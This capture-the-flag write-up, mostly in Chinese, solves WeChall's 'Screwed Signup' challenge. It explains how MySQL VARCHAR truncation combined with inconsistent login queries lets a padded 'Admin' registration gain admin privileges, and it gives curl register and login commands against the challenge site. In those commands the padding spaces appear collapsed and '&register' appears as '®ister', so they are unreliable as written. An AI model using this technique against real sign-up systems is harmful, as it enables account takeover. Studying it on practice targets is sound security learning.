Screwed Signup (Exploit, PHP) by gizmore MySQL VARCHAR 截断 +
查询不一致导致的权限提升
Challenge
目标是 login as Admin。题目给了 register/login
的源码,chall_sql1 表中已有原始 Admin
记录(access_level=1337)。
关键源码:
1 2
| $query = "INSERT IGNORE INTO `chall_sql1` VALUES ('$uname', '$pw', 0)";
|
1 2 3 4
| function screwed_signupGetUser($username) { $query = "SELECT * FROM `chall_sql1` WHERE `username`='$username'"; }
|
Solution
漏洞是 VARCHAR 截断 +
查询不一致:
- 表定义
username VARCHAR(24),但 PHP 的
preg_match('/^[a-z0-9A-Z ]{3,64}$/D') 允许最长 64
字符
trim() 只去掉首尾空格,中间空格保留
- MySQL 在非严格模式下静默截断超长值到 24 字符
利用步骤:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| 1. 注册: username = "Admin" + 19空格 + "a" (共 25 字符) → trim() 保留中间空格(a 在末尾不会被 trim 删掉) → regex 通过(3-64 字符规则)
2. UserExists("Admin" + 19空格 + "a") → false(表中无此长字符串记录)
3. MySQL INSERT 时截断到 VARCHAR(24): 实际写入: "Admin" + 19 空格 (access_level=0)
4. 现在表中有两条 Admin 记录: - 原始 Admin (access_level=1337) ← 先插入 - 我们复制的 Admin (access_level=0) ← 后插入
5. 登录: username = "Admin"(无空格) → PasswordMatch 检查 username+password → 找到我们的记录(密码匹配) → GetUser 只查 username → WHERE username='Admin' → 返回第一行 → 原始 Admin → access_level=1337 > 0 → solved
|
关键:PasswordMatch 检查了密码但
GetUser
只查用户名,两条查询的不一致导致权限提升。
1 2 3 4 5 6 7 8 9
| curl -c /tmp/wc -b /tmp/wc -X POST \ 'https://www.wechall.net/en/challenge/screwed_signup/register.php' \ -d 'username=Admin a&password=hack123&password2=hack123®ister=Register'
curl -c /tmp/wc -b /tmp/wc -X POST \ 'https://www.wechall.net/en/challenge/screwed_signup/login.php' \ -d 'username=Admin&password=hack123&login=Login'
|